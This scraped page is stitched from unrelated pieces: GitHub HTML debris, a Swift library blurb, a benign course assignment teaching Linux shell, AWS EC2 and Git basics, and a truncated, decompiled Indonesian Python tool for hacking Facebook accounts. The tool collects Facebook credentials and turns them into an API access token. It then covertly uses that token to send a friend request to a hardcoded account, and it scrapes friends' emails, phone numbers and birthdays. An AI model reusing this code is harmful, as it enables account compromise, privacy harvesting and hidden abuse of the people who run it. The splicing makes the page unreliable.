viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span class="js-stale-session-flash-signed-in" hidden>You signed in with another tab or window. <a href="">Reload</a> to refresh your session.</span> <span class="js-stale-session-flash-signed-out" hidden>You signed out in another tab or window. <a href="">Reload</a> to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-text-primary hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details> </template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div> </div> </body> </html>
Swift implementation of Open Location Code (Plus Codes). Supports Swift and Objective-C for iOS, macOS, tvOS and watchOS, and Swift for Linux.
nyaundid
SEIS 665 Assignment 2: Linux & Git Overview This week we will focus on becoming familiar with launching a Linux server and working with some basic Linux and Git commands. We will use AWS to launch and host the Linux server. AWS might seem a little confusing at this point. Don’t worry, we will gain much more hands-on experience with AWS throughout the course. The goal is to get you comfortable working with the technology and not overwhelm you with all the details. Requirements You need to have a personal AWS account and GitHub account for this assignment. You should also read the Git Hands-on Guide and Linux Hands-on Guide before beginning this exercise. A word about grading One of the key DevOps practices we learn about in this class is the use of automation to increase the speed and repeatability of processes. Automation is utilized during the assignment grading process to review and assess your work. It’s important that you follow the instructions in each assignment and type in required files and resources with the proper names. All names are case sensitive, so a name like "Web1" is not the same as "web1". If you misspell a name, use the wrong case, or put a file in the wrong directory location you will lose points on your assignment. This is the easiest way to lose points, and also the most preventable. You should always double-check your work to make sure it accurately reflects the requirements specified in the assignment. You should always carefully review the content of your files before submitting your assignment. The assignment Let’s get started! Create GitHub repository The first step in the assignment is to setup a Git repository on GitHub. We will use a special solution called GitHub Classroom for this course which automates the process of setting up student assignment repositories. Here are the basic steps: Click on the following link to open Assignment 2 on the GitHub Classroom site: https://classroom.github.com/a/K4zcVmX- (Links to an external site.)Links to an external site. Click on the Accept this assignment button. GitHub Classroom will provide you with a URL (https) to access the assignment repository. Either copy this address to your clipboard or write it down somewhere. You will need to use this address to set up the repository on a Linux server. Example: https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git At this point your new repository to ready to use. The repository is currently empty. We will put some content in there soon! Launch Linux server The second step in the assignment is to launch a Linux server using AWS EC2. The server should have the following characteristics: Amazon Linux 2 AMI 64-bit (usually the first option listed) Located in a U.S. region (us-east-1) t2.micro instance type All default instance settings (storage, vpm, security group, etc.) I’ve shown you how to launch EC2 instances in class. You can review it on Canvas. Once you launch the new server, it may take a few minutes to provision. Log into server The next step is to log into the Linux server using a terminal program with a secure shell (SSH) support. You can use iTerm2 (Links to an external site.)Links to an external site. on a Mac and GitBash/PuTTY (Links to an external site.)Links to an external site. on a PC. You will need to have the private server key and the public IP address before attempting to log into the server. The server key is basically your password. If you lose it, you will need to terminate the existing instance and launch a new server. I recommend reusing the same key when launching new servers throughout the class. Note, I make this recommendation to make the learning process easier and not because it is a common security practice. I’ve shown you how to use a terminal application to log into the instance using a Windows desktop. Your personal computer or lab computer may be running a different OS version, but the process is still very similar. You can review the videos on the Canvas. Working with Linux If you’ve made it this far, congratulations! You’ve made it over the toughest hurdle. By the end of this course, I promise you will be able to launch and log into servers in your sleep. You should be looking at a login screen that looks something like this: Last login: Mon Mar 21 21:17:54 2016 from 174-20-199-194.mpls.qwest.net __| __|_ ) _| ( / Amazon Linux AMI ___|\___|___| https://aws.amazon.com/amazon-linux-ami/2015.09-release-notes/ 8 package(s) needed for security, out of 17 available Run "sudo yum update" to apply all updates. ec2-user@ip-172-31-15-26 ~]$ Your terminal cursor is sitting at the shell prompt, waiting for you to type in your first command. Remember the shell? It is a really cool program that lets you start other programs and manage services on the Linux system. The rest of this assignment will be spent working with the shell. Note, when you are asked to type in a command in the steps below, don’t type in the dollar-sign ($) character. This is just meant to represent the command prompt. The actual commands are represented by the characters to the right of the command prompt. Let’s start by asking the shell for some help. Type in: $ help The shell provides you with a list of commands you can run along with possible command options. Next, check out one of the pages in the built-in manual: $ man ls A man page will appear with information on how to use the ls command. This command is used to list the contents of file directories. Either space through the contents of the man page or hit q to exit. Most of the core Linux commands have man pages available. But honestly, some of these man pages are a bit hard to understand. Sometimes your best bet is to search on Google if you are trying to figure out how to use a specific command. When you initially log into Linux, the system places you in your home directory. Each user on the system has a separate home directory. Let’s see where your home directory is located: $ pwd The response should be /home/ec2-user. The pwd command is handy to remember if you ever forget what file directory you are currently located in. If you recall from the Linux Hands-on Guide, this directory is also your current working directory. Type in: $ cd / The cd command let’s you change to a new working directory on the server. In this case, we changed to the root (/) directory. This is the parent of all the other directories on the file system. Type in: $ ls The ls command lists the contents of the current directory. As you can see, root directory contains many other directories. You will become familiar with these directories over time. The ls command provides a very basic directory listing. You need to supply the command with some options if you want to see more detailed information. Type in: $ ls -la See how this command provides you with much more detailed information about the files and directories? You can use this detailed listing to see the owner, group, and access control list settings for each file or directory. Do you see any files listed? Remember, the first character in the access control list column denotes whether a listed item is a file or a directory. You probably see a couple files with names like .autofsck. How come you didn’t see this file when you typed in the lscommand without any options? (Try to run this command again to convince yourself.) Files names that start with a period are called hidden files. These files won’t appear on normal directory listings. Type in: $ cd /var Then, type in: $ ls You will see a directory listing for the /var directory. Next, type in: $ ls .. Huh. This directory listing looks the same as the earlier root directory listing. When you use two periods (..) in a directory path that means you are referring to the parent directory of the current directory. Just think of the two dots as meaning the directory above the current directory. Now, type in: $ cd ~ $ pwd Whoa. We’re back at our home directory again. The tilde character (~) is another one of those handy little directory path shortcuts. It always refers to our personal home directory. Keep in mind that since every user has their own home directory, the tilde shortcut will refer to a unique directory for each logged-in user. Most students are used to navigating a file system by clicking a mouse in nested graphical folders. When they start using a command-line to navigate a file system, they sometimes get confused and lose track of their current position in the file system. Remember, you can always use the pwd command to quickly figure out what directory you are currently working in. Let’s make some changes to the file system. We can easily make our own directories on the file system. Type: mkdir test Now type: ls Cool, there’s our new test directory. Let’s pretend we don’t like that directory name and delete it. Type: rmdir test Now it’s gone. How can you be sure? You should know how to check to see if the directory still exists at this point. Go ahead and check. Let’s create another directory. Type in: $ mkdir documents Next, change to the new directory: $ cd documents Did you notice that your command prompt displays the name of the current directory? Something like: [ec2-user@ip-172-31-15-26 documents]$. Pretty handy, huh? Okay, let’s create our first file in the documents directory. This is just an empty file for training purposes. Type in: $ touch paper.txt Check to see that the new file is in the directory. Now, go back to the previous directory. Remember the double dot shortcut? $ cd .. Okay, we don’t like our documents directory any more. Let’s blow it away. Type in: $ rmdir documents Uh oh. The shell didn’t like that command because the directory isn’t empty. Let’s change back into the documents directory. But this time don’t type in the full name of the directory. You can let shell auto-completion do the typing for you. Type in the first couple characters of the directory name and then hit the tab key: $ cd doc<tab> You should use the tab auto-completion feature often. It saves typing and makes working with the Linux file system much much easier. Tab is your friend. Now, remove the file by typing: $ rm paper.txt Did you try to use the tab key instead of typing in the whole file name? Check to make sure the file was deleted from the directory. Next, create a new file: $ touch file1 We like file1 so much that we want to make a backup copy. Type: $ cp file1 file1-backup Check to make sure the new backup copy was created. We don’t really like the name of that new file, so let’s rename it. Type: $ mv file1-backup backup Moving a file to the same directory and giving it a new name is basically the same thing as renaming it. We could have moved it to a different directory if we wanted. Let’s list all of the files in the current directory that start with the letter f: $ ls f* Using wildcard pattern matching in file commands is really useful if you want the command to impact or filter a group of files. Now, go up one directory to the parent directory (remember the double dot shortcut?) We tried to remove the documents directory earlier when it had files in it. Obviously that won’t work again. However, we can use a more powerful command to destroy the directory and vanquish its contents. Behold, the all powerful remove command: $ rm -fr documents Did you remember to use auto-completion when typing in documents? This command and set of options forcibly removes the directory and its contents. It’s a dangerous command wielded by the mightiest Linux wizards. Okay, maybe that’s a bit of an exaggeration. Just be careful with it. Check to make sure the documents directory is gone before proceeding. Let’s continue. Change to the directory /var and make a directory called test. Ugh. Permission denied. We created this darn Linux server and we paid for it. Shouldn’t we be able to do anything we want on it? You logged into the system as a user called ec2-user. While this user can create and manage files in its home directory, it cannot change files all across the system. At least it can’t as a normal user. The ec2-user is a member of the root group, so it can escalate its privileges to super-user status when necessary. Let’s try it: $ sudo mkdir test Check to make sure the directory exists now. Using sudo we can execute commands as a super-user. We can do anything we want now that we know this powerful new command. Go ahead and delete the test directory. Did you remember to use sudo before the rmdir command? Check to make sure the directory is gone. You might be asking yourself the question: why can we list the contents of the /var directory but not make changes? That’s because all users have read access to the /var directory and the ls command is a read function. Only the root users or those acting as a super-user can write changes to the directory. Let’s go back to our home directory: $ cd ~ Editing text files is a really common task on Linux systems because many of the application configuration files are text files. We can create a text file by using a text editor. Type in: $ nano myfile.conf The shell starts up the nano text editor and places your terminal cursor in the editing screen. Nano is a simple text-based word processor. Type in a few lines of text. When you’re done writing your novel, hit ctrl-x and answer y to the prompt to save your work. Finally, hit enter to save the text to the filename you specified. Check to see that your file was saved in the directory. You can take a look at the contents of your file by typing: $ cat myfile.conf The cat command displays your text file content on the terminal screen. This command works fine for displaying small text files. But if your file is hundreds of lines long, the content will scroll down your terminal screen so fast that you won’t be able to easily read it. There’s a better way to view larger text files. Type in: $ less myfile.conf The less command will page the display of a text file, allowing you to page through the contents of the file using the space bar. Your text file is probably too short to see the paging in action though. Hit q to quit out of the less text viewer. Hit the up-arrow key on your keyboard a few times until the commmand nano myfile.conf appears next to your command prompt. Cool, huh? The up-arrow key allows you to replay a previously run command. Linux maintains a list of all the commands you have run since you logged into the server. This is called the command history. It’s a really useful feature if you have to re-run a complex command again. Now, hit ctrl-c. This cancels whatever command is displayed on the command line. Type in the following command to create a couple empty files in the directory: $ touch file1 file2 file3 Confirm that the files were created. Some commands, like touch. allow you to specify multiple files as arguments. You will find that Linux commands have all kinds of ways to make tasks more efficient like this. Throughout this assignment, we have been running commands and viewing results on the terminal screen. The screen is the standard place for commands to output results. It’s known as the standard out (stdout). However, it’s really useful to output results to the file system sometimes. Type in: $ ls > listing.txt Take a look at the directory listing now. You just created a new file. View the contents of the listing.txt file. What do you see? Instead of sending the output from the ls command to the screen we sent it to a text file. Let’s try another one. Type: $ cat myfile.conf > listing.txt Take a look at the contents of the listing.txt file again. It looks like your myfile.conf file now. It’s like you made a copy of it. But what happened to the previous content in the listing.txt file? When you redirect the output of a command using the right angle-bracket character (>), the output overwrites the existing file. Type this command in: $ cat myfile.conf >> listing.txt Now look at the contents of the listing.txt file. You should see your original content displayed twice. When you use two angle-bracket characters in the commmand the output appends (or adds to) the file instead of overwriting it. We redirected the output from a command to a text file. It’s also possible to redirect the input to a command. Typically we use a keyboard to provide input, but sometimes it makes more sense to input a file to a command. For example, how many words are in your new listing.txt file? Let’s find out. Type in: $ wc -w < listing.txt Did you get a number? This command inputs the listing.txt file into a word count program called wc. Type in the command: $ ls /usr/bin The terminal screen probably scrolled quickly as filenames flashed by. The /usr/bin directory holds quite a few files. It would be nice if we could page through the contents of this directory. Well, we can. We can use a special shell feature called pipes. In previous steps, we redirected I/O using the file system. Pipes allow us to redirect I/O between programs. We can redirect the output from one program into another. Type in: $ ls /usr/bin | less Now the directory listing is paged. Hit the spacebar to page through the listing. The pipe, represented by a vertical bar character (|), takes the output from the ls command and redirects it to the less command where the resulting output is paged. Pipes are super powerful and used all the time by savvy Linux operators. Hit the q key to quit the paginated directory listing command. Working with shell scripts Now things are going to get interesting. We’ve been manually typing in commands throughout this exercise. If we were running a set of repetitive tasks, we would want to automate the process as much as possible. The shell makes it really easy to automate tasks using shell scripts. The shell provides many of the same features as a basic procedural programming language. Let’s write some code. Type in this command: $ j=123 $ echo $j We just created a variable named j referencing the string 123. The echo command printed out the value of the variable. We had to use a dollar sign ($) when referencing the variable in another command. Next, type in: $ j=1+1 $ echo $j Is that what you expected? The shell just interprets the variable value as a string. It’s not going to do any sort of computation. Typing in shell script commands on the command line is sort of pointless. We want to be able to create scripts that we can run over-and-over. Let’s create our first shell script. Use the nano editor to create a file named myscript. When the file is open in the editor, type in the following lines of code: #!/bin/bash echo Hello $1 Now quit the editor and save your file. We can run our script by typing: $ ./myscript World Er, what happened? Permission denied. Didn’t we create this file? Why can’t we run it? We can’t run the script file because we haven’t set the execute permission on the file. Type in: $ chmod u+x myscript This modifies the file access control list to allow the owner of the file to execute it. Let’s try to run the command again. Hit the up-arrow key a couple times until the ./myscript World command is displayed and hit enter. Hooray! Our first shell script. It’s probably a bit underwhelming. No problem, we’ll make it a little more complex. The script took a single argument called World. Any arguments provided to a shell script are represented as consecutively numbered variables inside the script ($1, $2, etc). Pretty simple. You might be wondering why we had to type the ./ characters before the name of our script file. Try to type in the command without them: $ myscript World Command not found. That seems a little weird. Aren’t we currently in the directory where the shell script is located? Well, that’s just not how the shell works. When you enter a command into the shell, it looks for the command in a predefined set of directories on the server called your PATH. Since your script file isn’t in your special path, the shell reports it as not found. By typing in the ./ characters before the command name you are basically forcing the shell to look for your script in the current directory instead of the default path. Create another file called cleanup using nano. In the file editor window type: #!/bin/bash # My cleanup script mkdir archive mv file* archive Exit the editor window and save the file. Change the permissions on the script file so that you can execute it. Now run the command: $ ./cleanup Take a look at the file directory listing. Notice the archive directory? List the contents of that directory. The script automatically created a new directory and moved three files into it. Anything you can do manually at a command prompt can be automated using a shell script. Let’s create one more shell script. Use nano to create a script called namelist. Here is the content of the script: #!/bin/bash # for-loop test script names='Jason John Jane' for i in $names do echo Hello $i done Change the permissions on the script file so that you can execute it. Run the command: $ ./namelist The script will loop through a set of names stored in a variable displaying each one. Scripts support several programming constructs like for-loops, do-while loops, and if-then-else. These building blocks allow you to create fairly complex scripts for automating tasks. Installing packages and services We’re nearing the end of this assignment. But before we finish, let’s install some new software packages on our server. The first thing we should do is make sure all the current packages installed on our Linux server are up-to-date. Type in: $ sudo yum update -y This is one of those really powerful commands that requires sudo access. The system will review the currently installed packages and go out to the Internet and download appropriate updates. Next, let’s install an Apache web server on our system. Type in: $ sudo yum install httpd -y Bam! You probably never knew that installing a web server was so easy. We’re not going to actually use the web server in this exercise, but we will in future assignments. We installed the web server, but is it actually running? Let’s check. Type in: $ sudo service httpd status Nope. Let’s start it. Type: $ sudo service httpd start We can use the service command to control the services running on the system. Let’s setup the service so that it automatically starts when the system boots up. Type in: $ sudo chkconfig httpd on Cool. We installed the Apache web server on our system, but what other programs are currently running? We can use the pscommand to find out. Type in: $ ps -ax Lots of processes are running on our system. We can even look at the overall performance of our system using the topcommand. Let’s try that now. Type in: $ top The display might seem a little overwhelming at first. You should see lots of performance information displayed including the cpu usage, free memory, and a list of running tasks. We’re almost across the finish line. Let’s make sure all of our valuable work is stored in a git repository. First, we need to install git. Type in the command: $ sudo yum install git -y Check your work It’s very important to check your work before submitting it for grading. A misspelled, misplaced or missing file will cost you points. This may seem harsh, but the reality is that these sorts of mistakes have consequences in the real world. For example, a server instance could fail to launch properly and impact customers because a single required file is missing. Here is what the contents of your git repository should look like before final submission: ┣archive ┃ ┣ file1 ┃ ┣ file2 ┃ ┗ file3 ┣ namelist ┗ myfile.conf Saving our work in the git repository Next, make sure you are still in your home directory (/home/ec2-user). We will install the git repository you created at the beginning of this exercise. You will need to modify this command by typing in the GitHub repository URL you copied earlier. $ git clone <your GitHub URL here>.git Example: git clone https://github.com/UST-SEIS665/hw2-seis665-02-spring2019-<your github id>.git The git application will ask you for your GitHub username and password. Note, if you have multi-factor authentication enabled on your GitHub account you will need to provide a personal token instead of your password. Git will clone (copy) the repository from GitHub to your Linux server. Since the repository is empty the clone happens almost instantly. Check to make sure that a sub-directory called "hw2-seis665-02-spring2019-<username>" exists in the current directory (where <username> is your GitHub account name). Git automatically created this directory as part of the cloning process. Change to the hw2-seis665-02-spring2019-<username> directory and type: $ ls -la Notice the .git hidden directory? This is where git actually stores all of the file changes in your repository. Nothing is actually in your repository yet. Change back to the parent directory (cd ..). Next, let’s move some of our files into the repository. Type: $ mv archive hw2-seis665-02-spring2019-<username> $ mv namelist hw2-seis665-02-spring2019-<username> $ mv myfile.conf hw2-seis665-02-spring2019-<username> Hopefully, you remembered to use the auto-complete function to reduce some of that typing. Change to the hw2-seis665-02-spring2019-<username> directory and list the directory contents. Your files are in the working directory, but are not actually stored in the repository because they haven’t been committed yet. Type in: $ git status You should see a list of untracked files. Let’s tell git that we want these files tracked. Type in: $ git add * Now type in the git status command again. Notice how all the files are now being tracked and are ready to be committed. These files are in the git staging area. We’ll commit them to the repository next. Type: $ git commit -m 'assignment 2 files' Next, take a look at the commit log. Type: $ git log You should see your commit listed along with an assigned hash (long string of random-looking characters). Finally, let’s save the repository to our GitHub account. Type in: $ git push origin master The git client will ask you for your GitHub username and password before pushing the repository. Go back to the GitHub.com website and login if you have been logged out. Click on the repository link for the assignment. Do you see your files listed there? Congratulations, you completed the exercise! Terminate server The last step is to terminate your Linux instance. AWS will bill you for every hour the instance is running. The cost is nominal, but there’s no need to rack up unnecessary charges. Here are the steps to terminate your instance: Log into your AWS account and click on the EC2 dashboard. Click the Instances menu item. Select your server in the instances table. Click on the Actions drop down menu above the instances table. Select the Instance State menu option Click on the Terminate action. Your Linux instance will shutdown and disappear in a few minutes. The EC2 dashboard will continue to display the instance on your instance listing for another day or so. However, the state of the instance will be terminated. Submitting your assignment — IMPORTANT! If you haven’t already, please e-mail me your GitHub username in order to receive credit for this assignment. There is no need to email me to tell me that you have committed your work to GitHub or to ask me if your GitHub submission worked. If you can see your work in your GitHub repository, I can see your work.
Myhadi
#decompiled by PDM31 import os, sys print '\x1b[1;32mSudah punya ID dan Password nya?' print '\x1b[1;32mSilahkan Login ' import os, sys def wa(): os.system('xdg-open https://api.whatsapp.com/send?phone=6281291977644&text=Assalamualaikum') def restart(): ngulang = sys.executable os.execl(ngulang, ngulang, *sys.argv) user = raw_input('ID: ') import getpass sandi = raw_input('Password: ') if sandi == 'indoxploit' and user == 'Borot': print 'Anda Telah Login' sys.exit else: print 'Login GAGAL, Silahkan hubungi ADMIN' wa() restart() import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system('pip2 install mechanize') else: try: import requests except ImportError: os.system('pip2 install requests') from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def keluar(): print '\x1b[1;91m[!] Keluar' os.sys.exit() def jalan(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.1) logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMr. Borot\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttp://indoxploit.id/\x1b[0m\n' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idteman = [] idfromteman = [] idmem = [] id = [] em = [] emfromteman = [] hp = [] hpfromteman = [] reaksi = [] reaksigrup = [] komen = [] komengrup = [] listgrup = [] vulnot = '\x1b[31mNot Vuln' vuln = '\x1b[32mVuln' def login(): os.system('reset') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open http://indoxploit.id/') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] Tidak ada koneksi' keluar() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) keluar() else: print '\n\x1b[1;91m[!] Login Gagal' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: os.system('reset') print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] except KeyError: os.system('reset') print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print '\x1b[1;91m[!] Tidak ada koneksi' keluar() os.system('reset') print logo print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' print '\x1b[1;37;40m1. Informasi Pengguna' print '\x1b[1;37;40m2. Hack Akun Facebook' print '\x1b[1;37;40m3. Bot ' print '\x1b[1;37;40m4. Lainnya.... ' print '\x1b[1;37;40m5. LogOut ' print '\x1b[1;31;40m0. Keluar ' print pilih() def pilih(): zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if zedd == '': print '\x1b[1;91m[!] Jangan kosong' pilih() else: if zedd == '1': informasi() else: if zedd == '2': menu_hack() else: if zedd == '3': menu_bot() else: if zedd == '4': lain() else: if zedd == '5': os.system('rm -rf login.txt') os.system('xdg-open http://indoxploit.id') keluar() else: if zedd == '0': keluar() else: print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' pilih() def informasi(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) cok = json.loads(r.text) for p in cok['data']: if id in p['name'] or id in p['id']: r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) z = json.loads(r.text) print 40 * '\x1b[1;97m\xe2\x95\x90' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' else: try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] except KeyError: print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' try: print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' for q in z['education']: try: print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] except KeyError: print '\x1b[1;91m ~ \x1b[1;91mTidak ada' except KeyError: pass raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() else: print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') menu() def menu_hack(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak 